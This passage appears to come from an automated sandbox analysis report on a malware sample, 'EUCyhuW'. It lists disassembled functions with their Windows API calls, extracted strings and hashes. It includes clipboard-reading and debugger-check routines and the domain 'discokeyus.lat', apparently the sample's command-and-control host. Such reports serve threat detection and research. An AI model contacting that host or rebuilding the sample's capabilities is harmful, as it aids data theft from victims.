Instruction Fuzzy Hash: 81F0A4756093418FE311DF25C55975BBBE1BBC4308F25891CE4944B290C7B5A5498FC2

Function 00439130 Relevance: 1.5, APIs: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043AA9B,?,0040B288,00000000,00000001), ref: 00439151

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d1245e51f4d933cfd9ec176b2050ed85032a3bd9db358e8851953e50ee267f6c
Instruction ID: bf25621c216e80aa75f1419199000b04fd291d607baa8f3ccaf1e2363919b0b1
Opcode Fuzzy Hash: d1245e51f4d933cfd9ec176b2050ed85032a3bd9db358e8851953e50ee267f6c
Instruction Fuzzy Hash: FDD01731409221EBCB102F58BC016CA3B64EF0A321F0748A6F8006A075CA358891CB9A

Function 00434608 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00434623

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: b9bb871650b890861425900a7b617f77fcecf451138fe0396178464e42e5b484
Instruction ID: c9864e16ae59771b51b7984cdc9b2e5d9f7f7ccf34f2518139ae5690911d8640
Opcode Fuzzy Hash: b9bb871650b890861425900a7b617f77fcecf451138fe0396178464e42e5b484
Instruction Fuzzy Hash: 05E01A79A151168FC754EF28D991A687BF0AF4D705F4100AEE44AE7250EB3059809F51

Function 00439110 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0043AA90), ref: 00439120

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4d5223becddd1ee7afd0ebd8655b7adea85623b00fc54531f3d1029bd4836392
Instruction ID: a51812e067616a6d9a44cd00795a97b8a2e36f518c89a2deb0f36a2ec376c4fe
Opcode Fuzzy Hash: 4d5223becddd1ee7afd0ebd8655b7adea85623b00fc54531f3d1029bd4836392
Instruction Fuzzy Hash: 46C09B31055121ABC6102B15FC05FC63F58DF45361F054455F40477071C760AC81C7D8

Non-executed Functions

Function 004254C0 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 445COMMON

Download Yara Rule

Strings

34, xrefs: 00425E50
ASVu, xrefs: 00425FFF
l, xrefs: 00425E1F
TU, xrefs: 00425BD2
N[IY, xrefs: 00425FE7
[0W2, xrefs: 00425E45
r{qt, xrefs: 0042600F
z`B, xrefs: 00426074
6YAL, xrefs: 00426056, 0042605A

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: 34$6YAL$ASVu$N[IY$TU$[0W2$l$r{qt$z`B
API String ID: 0-3839753537
Opcode ID: dd1584c77e830c0eeac3f2e348f92e18ba69b08daf4c5e3de6aa0b9483b90ec0
Instruction ID: 783449535d1b90a0855ceb81c27650a1b8e6cacaed21d2d8abbf0ff5583a39d5
Opcode Fuzzy Hash: dd1584c77e830c0eeac3f2e348f92e18ba69b08daf4c5e3de6aa0b9483b90ec0
Instruction Fuzzy Hash: 68E12FB560C3508BD320DF65E84276BBBE2FBD2304F45882DE5C58B361DB789905CB9A

Function 00409190 Relevance: 14.1, Strings: 11, Instructions: 382COMMON

Download Yara Rule

Strings

'%9$, xrefs: 004092C7
1-34, xrefs: 004092CF
!, xrefs: 0040949E
"9+!, xrefs: 004092B7
|, xrefs: 0040934D
LG, xrefs: 004091E9
WV, xrefs: 00409346
<5%", xrefs: 004091D9
xVV]|, xrefs: 0040940E
042:, xrefs: 004094B4
#, xrefs: 004094CC

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: !$"9+!$#$'%9$$042:$1-34$<5%"$LG$WV$xVV]|$|
API String ID: 0-2448962107
Opcode ID: 9a752688e17dec5b4f8023c1df289e793b18aa519799bc8747e2f206e404ed0f
Instruction ID: fbbaf9226e3b192056be0245cdabb9834f0a949d659d24b1dfb442df81301533
Opcode Fuzzy Hash: 9a752688e17dec5b4f8023c1df289e793b18aa519799bc8747e2f206e404ed0f
Instruction Fuzzy Hash: 04B1E37164C3819FC3168F29849076BBFE0AF97344F4849ADE4D59B382D239C906CB9A

Function 00426D90 Relevance: 11.7, Strings: 9, Instructions: 455COMMON

Download Yara Rule

Strings

2qB, xrefs: 0042711C
%E4G, xrefs: 00426F87
W9H;, xrefs: 00426F6F
!A,C, xrefs: 00426F7F
X=}?, xrefs: 00426F77
2qB, xrefs: 00426E94
t1[3, xrefs: 00426FD5
G5U7, xrefs: 00426F67
1IJK, xrefs: 00426F8F

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: !A,C$%E4G$1IJK$2qB$2qB$G5U7$W9H;$X=}?$t1[3
API String ID: 0-547751609
Opcode ID: 825d617d40c12177756e69bfe9bb547412c0146995124a48825e9bda62298f3e
Instruction ID: e66c82b64b1499b1cfb501323437cdd907afed9e35dd3221fd61de41019153bb
Opcode Fuzzy Hash: 825d617d40c12177756e69bfe9bb547412c0146995124a48825e9bda62298f3e
Instruction Fuzzy Hash: 0AD1F37160C3518BD724CF24D8527ABB7F1EFC6304F45892DE4959B381DB789A0ACB8A

Function 00431160 Relevance: 9.1, APIs: 6, Instructions: 134clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431182
GetClipboardData.USER32 ref: 004311A5
GlobalLock.KERNEL32 ref: 004311C2
GlobalUnlock.KERNEL32 ref: 004312EC
CloseClipboard.USER32 ref: 004312F2

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 7a5e64b4adff615461d99535ed0619398c95e3c77bc191fa98b8a9ede4e318dc
Instruction ID: 530e8bd4a596cf230c2a4839fedd7a14e9a373bc241cb4b2c9a3daa8db77aad9
Opcode Fuzzy Hash: 7a5e64b4adff615461d99535ed0619398c95e3c77bc191fa98b8a9ede4e318dc
Instruction Fuzzy Hash: D95125B1D086918FD700ABB8C54936FBFE0AB06314F04867ED9A997291D33CA558C7A7

Function 00409580 Relevance: 9.1, Strings: 7, Instructions: 369COMMON

Download Yara Rule

Strings

:;, xrefs: 004098FB
\e_f, xrefs: 004096F5
lY`U, xrefs: 004096D5
/37), xrefs: 00409616, 00409640, 00409605
;, xrefs: 004096E5
09CDF4F35E131319E9E2F0D64B3B48BA, xrefs: 0040961C
M, xrefs: 00409776

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: /37)$09CDF4F35E131319E9E2F0D64B3B48BA$:;$;$M$\e_f$lY`U
API String ID: 0-3520754755
Opcode ID: 9bd2be50993764d2d2b9b61a8ff76ca0608ea4ca6995cd6b58b03629dcfac725
Instruction ID: 243afdaea8f09e7dbc1359cd46d4311f40fc2501b71688d54a50c8194030eeaf
Opcode Fuzzy Hash: 9bd2be50993764d2d2b9b61a8ff76ca0608ea4ca6995cd6b58b03629dcfac725
Instruction Fuzzy Hash: EDB1F3B260C3408BD714DF25C85166FBBE6EBD2314F18892DE5D19B382DA39C909CB5A

Function 00385DD3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003857A4,00000002,00000000,?,?,?,003857A4,?,00000000), ref: 00385E6C
GetLocaleInfoW.KERNEL32(?,20001004,003857A4,00000002,00000000,?,?,?,003857A4,?,00000000), ref: 00385E95
GetACP.KERNEL32(?,?,003857A4,?,00000000), ref: 00385EAA

Strings

ACP, xrefs: 00385DF1
OCP, xrefs: 00385E27

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 03f94f948463e14df3749c956c333360f2b361826485af0f1ee168c7e2116765
Instruction ID: 434ebc21d4be08bc6fb508de33544b34d3d89818b395140f599a637df76d5d00
Opcode Fuzzy Hash: 03f94f948463e14df3749c956c333360f2b361826485af0f1ee168c7e2116765
Instruction Fuzzy Hash: 7A219536601B00AADB37AF54CD00AD773AAEB54F55B5784A4E90AE7500E732FF40C390

Function 0038566E Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00385776
IsValidCodePage.KERNEL32(00000000), ref: 003857B4
IsValidLocale.KERNEL32(?,00000001), ref: 003857C7
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0038580F
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0038582A

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: ea9b040ac73d7af57e5bab73cb695c4d61d77b773f5676f6743d6c73aae08751
Instruction ID: c481caaf40ec89236088e8190964e5188bec2ac55dae1a15442f95b2cefe048c
Opcode Fuzzy Hash: ea9b040ac73d7af57e5bab73cb695c4d61d77b773f5676f6743d6c73aae08751
Instruction Fuzzy Hash: 3D515E71A01B09EFEF12EFA4CC41AAE77B8BF04701F1544EAB951EB191E770DA448B61

Function 00418810 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1265COMMON

Download Yara Rule

APIs

Part of subcall function 0043AAB0: LdrInitializeThunk.NTDLL(0043CF3B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043AADE

FreeLibrary.KERNEL32(?), ref: 00418DDD
FreeLibrary.KERNEL32(?), ref: 00418E5E

Strings

l, xrefs: 004193A5

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: l
API String ID: 764372645-2517025534
Opcode ID: c943a0464b6adbced3352b2cf38f9b9b605f207909f1c079a9d476354aeeb27f
Instruction ID: 446c1a239736a9c675d5d309e2a1864471b60c1e64c44baf205e04d5173a9a97
Opcode Fuzzy Hash: c943a0464b6adbced3352b2cf38f9b9b605f207909f1c079a9d476354aeeb27f
Instruction Fuzzy Hash: C48214747483419BE714CB64C890B7BBBE2EBD5300F28893EE5858B391D7799C81CB5A

Function 0037E930 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction ID: 7e6557abdd456f64029347f27bdea27bbef011d2fca6ec7af6c1c070837202c2
Opcode Fuzzy Hash: 940c0e5d6642d71f3349d6853f9f47a4d852d201499cf18fcd482ab34cbb11e5
Instruction Fuzzy Hash: BB022B75E012199FDF25CFA8D8806AEFBF1FF48314F2582A9D519AB340D735A941CB90

Function 003863B5 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003864A5

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 3ff91c9b534f0ca17cdfd3a12aa1ba3afa6cb291c588956bc104a6ad2b40eb03
Instruction ID: 560474db1258a47c1393a91b3545e07a170290bd1aa19fa0aa96ebd12eab8271
Opcode Fuzzy Hash: 3ff91c9b534f0ca17cdfd3a12aa1ba3afa6cb291c588956bc104a6ad2b40eb03
Instruction Fuzzy Hash: DE71E7B1D452689FDF22BF38CC9AAFEBBB9AB05300F5541D9E04997211DB358E848F10

Function 0041CB00 Relevance: 6.1, Strings: 4, Instructions: 1074COMMON

Download Yara Rule

Strings

9674, xrefs: 0041D355
s, xrefs: 0041CD32
^^G@, xrefs: 0041CED5
KFMB, xrefs: 0041CEBF

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: 9674$KFMB$^^G@$s
API String ID: 0-3660127563
Opcode ID: 27874dbce567111c3f219e210b23f0667ac252a5f79d29e450b7d961ab3544b2
Instruction ID: 76d9ab5ad4098dda426dfb07134c23fb05dbd0921d90cf3e2529e81e57764f13
Opcode Fuzzy Hash: 27874dbce567111c3f219e210b23f0667ac252a5f79d29e450b7d961ab3544b2
Instruction Fuzzy Hash: 22725BB150C3518FC725CF28C8806AFBBE1AF95304F088A6EE8D59B392D739D946C756

Function 00374073 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0037407F
IsDebuggerPresent.KERNEL32 ref: 0037414B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00374164
UnhandledExceptionFilter.KERNEL32(?), ref: 0037416E

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6ff7842239ee9178bae07003b2f132ae7107738f06e9a4d873530e0a72a6f0e8
Instruction ID: 7180e4d1162a673840542c49a51d01403f52824f512a90ceefb32bf6c7809407
Opcode Fuzzy Hash: 6ff7842239ee9178bae07003b2f132ae7107738f06e9a4d873530e0a72a6f0e8
Instruction Fuzzy Hash: 7031E875D012289BDF21EFA4D9497CDBBB8AF08300F1041AAE50DAB250EB759B85DF85

Function 0040A800 Relevance: 5.4, Strings: 4, Instructions: 390COMMON

Download Yara Rule

Strings

9<zy, xrefs: 0040AB23
lQ, xrefs: 0040ABEE
[\, xrefs: 0040A98B
p, xrefs: 0040ABF5

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: 9<zy$[\$lQ$p
API String ID: 0-3285090289
Opcode ID: 8da46fa69c16ba17454d167adf42fd31aacdbf41d8eb6d6d7a4da512c8414f0d
Instruction ID: 9de19169ae5d95a46d5a624b7b8d321debce3d87862d3af00a80f8430ff992d7
Opcode Fuzzy Hash: 8da46fa69c16ba17454d167adf42fd31aacdbf41d8eb6d6d7a4da512c8414f0d
Instruction Fuzzy Hash: F1B12A7164C3804BE314CF69845166FBBE1EFD1304F18893DE4D56B381D6798906DB8B

Function 0040C7AC Relevance: 5.3, Strings: 4, Instructions: 272COMMON

Download Yara Rule

Strings

Bu, xrefs: 0040C9BE
{H, xrefs: 0040C9B0
discokeyus.lat, xrefs: 0040CABC
C`, xrefs: 0040C9A9

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: Bu$C`$discokeyus.lat${H
API String ID: 0-2440231683
Opcode ID: a182e69332825a3e4eea6f41208f8f6e83a12f24b741bbd07f32295aa3dc9455
Instruction ID: 114d197532c6d9a5bddf29eb5ce939d555a84e3df70591cafa127d411ad043be
Opcode Fuzzy Hash: a182e69332825a3e4eea6f41208f8f6e83a12f24b741bbd07f32295aa3dc9455
Instruction Fuzzy Hash: BE910EB5604B81CFD725CF29C580562BBA2FF8630471882ADC4D2AFB56C739F416CB94

Function 0041780D Relevance: 4.2, Strings: 3, Instructions: 471COMMON

Download Yara Rule

Strings

}A, xrefs: 00417DDB
nlmn, xrefs: 004179D4, 004179F6, 00417A8A
, xrefs: 00417CA5, 00417CBC, 00417D42

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: nlmn$}A$
API String ID: 0-3467081281
Opcode ID: 3d2ec27261f817495e18cad4f8584d9b173e532b0ff42de0991e2b01461aa2b6
Instruction ID: 549473099d5b31f7e2affd1b31b2bdea4936e586793accb9afc262e58f72c6ab
Opcode Fuzzy Hash: 3d2ec27261f817495e18cad4f8584d9b173e532b0ff42de0991e2b01461aa2b6
Instruction Fuzzy Hash: 66F1467560D3819FD724CF28D8857AFB7E2AB86304F158A3DE4D987391D7389841CB8A

Function 00424A40 Relevance: 4.2, Strings: 3, Instructions: 413COMMON

Download Yara Rule

Strings

^P, xrefs: 00424B37
GW, xrefs: 00424B3F
[T, xrefs: 00424B2F

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: GW$[T$^P
API String ID: 0-3161713602
Opcode ID: 82a1a1d3a27d4707250773402e9a19911499a81c1499624d5d1d8ffdf5896262
Instruction ID: c083e953ca77e7037dffe47f7a6b37e45f3133e8217f72e202ba3a11bdf8e61f
Opcode Fuzzy Hash: 82a1a1d3a27d4707250773402e9a19911499a81c1499624d5d1d8ffdf5896262
Instruction Fuzzy Hash: E9D12FB5608340DFE324EF64E88176BBBA1FBD6304F45893DE5858B2A1D7788801CB5A

Function 00427726 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

s+1#, xrefs: 00427A26
4|B, xrefs: 00427A07
"(#, xrefs: 00427A36

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: "(#$4|B$s+1#
API String ID: 0-2048809014
Opcode ID: 3fb39753ed154bc668479c406a38b3078b1e3df08ea8581b38c1299cbf0c5694
Instruction ID: 56a35b1911a31526af167876963f3d146a08611a9c41bee41471f7625fa740ae
Opcode Fuzzy Hash: 3fb39753ed154bc668479c406a38b3078b1e3df08ea8581b38c1299cbf0c5694
Instruction Fuzzy Hash: 03D169B190C3518FD714DF24D89175BBBE2EB85308F488A6DE5D547382D339E905CB8A

Function 00429A80 Relevance: 4.0, Strings: 3, Instructions: 254COMMON

Download Yara Rule

Strings

OU, xrefs: 00429BD4
"9, xrefs: 00429B4E
kL, xrefs: 00429AB6

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: "9$kL$OU
API String ID: 0-711883280
Opcode ID: 152ef1fb7de82e70364a09166566de1206cf56b509eac23a16b295d0b5438f61
Instruction ID: bc2349d6a2dd6fa9d9e13b2c951114910d08eb56f07a2238ee76d59a9345f12a
Opcode Fuzzy Hash: 152ef1fb7de82e70364a09166566de1206cf56b509eac23a16b295d0b5438f61
Instruction Fuzzy Hash: B671CEB461C3E18BE3348F25958179BBFE1AFD6214F58896DC5C91B382C7790806CB97

Function 0042C31E Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042C4DF

Strings

A!]:, xrefs: 0042C430

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: A!]:
API String ID: 3664257935-4068095544
Opcode ID: ce2f52e87b503819c08a846f52649bb542460f4ed00e87a43fac56b1ad96870b
Instruction ID: 854bc25c615e3f6fc9dbe429a2392c4a63248de56b862ea031488afc5db9b9f8
Opcode Fuzzy Hash: ce2f52e87b503819c08a846f52649bb542460f4ed00e87a43fac56b1ad96870b
Instruction Fuzzy Hash: 7A617876A083919BE320CF24CC91BABBBE1FFD2304F14882DE4C997292D73459058B96

Function 0040ACB0 Relevance: 3.0, Strings: 2, Instructions: 467COMMON

Download Yara Rule

Strings

HA, xrefs: 0040ADA9
AD, xrefs: 0040ADA2

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: AD$HA
API String ID: 0-3309148254
Opcode ID: 104d192b86fda74684dafde84d470f975b637a76e30f0d590dcdc83414d517a6
Instruction ID: c211f623592036d4c8a066339623761b9a3fc617e998b0c419ccf519b0101617
Opcode Fuzzy Hash: 104d192b86fda74684dafde84d470f975b637a76e30f0d590dcdc83414d517a6
Instruction Fuzzy Hash: 1F129BB5204B01CFD3248F25E891797BBF1FF86314F518A2DE5AA8BAA0DB74A405CF44

Function 00427EC0 Relevance: 2.7, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

s+1#, xrefs: 00427A26
"(#, xrefs: 00427A36

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: "(#$s+1#
API String ID: 0-3207113266
Opcode ID: 0341549b501c6176ff2cf6671d7d3d02cb217349fd9e787f455c0bf456d70381
Instruction ID: 6ac2ed6c47710117971ea15357740f9e3f3380b656cfe5ed9a546f2d027373e3
Opcode Fuzzy Hash: 0341549b501c6176ff2cf6671d7d3d02cb217349fd9e787f455c0bf456d70381
Instruction Fuzzy Hash: F15199B2A0C3518FD714CF24D49235FBBE2AB85308F498A7DE5D947382D239E905C78A

Function 0042826A Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

mUhS, xrefs: 004281C1
YimW, xrefs: 00428190

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID:
String ID: YimW$mUhS
API String ID: 0-3297437401
Opcode ID: def7bcaa254667d8d7241c52ec08360b174e4ece4f04162891e1869be7ba2291
Instruction ID: 7523936061bdd256bba0e35e586ec175aba37b2e083d2a6ec7d7ffb944ca85e2
Opcode Fuzzy Hash: def7bcaa254667d8d7241c52ec08360b174e4ece4f04162891e1869be7ba2291
Instruction Fuzzy Hash: 22212B3024E3A08FC314CF3560944ABFBE39EC6645F9C4A9ED4D497345CE36C90A8B5A

Function 0040CBF6 Relevance: 2.5, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 0040CBF6
CoUninitialize.OLE32 ref: 0040CC00

Memory Dump Source

Source File: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_EUCyhuW.jbxd

Yara matches

Similarity

API ID: Uninitialize
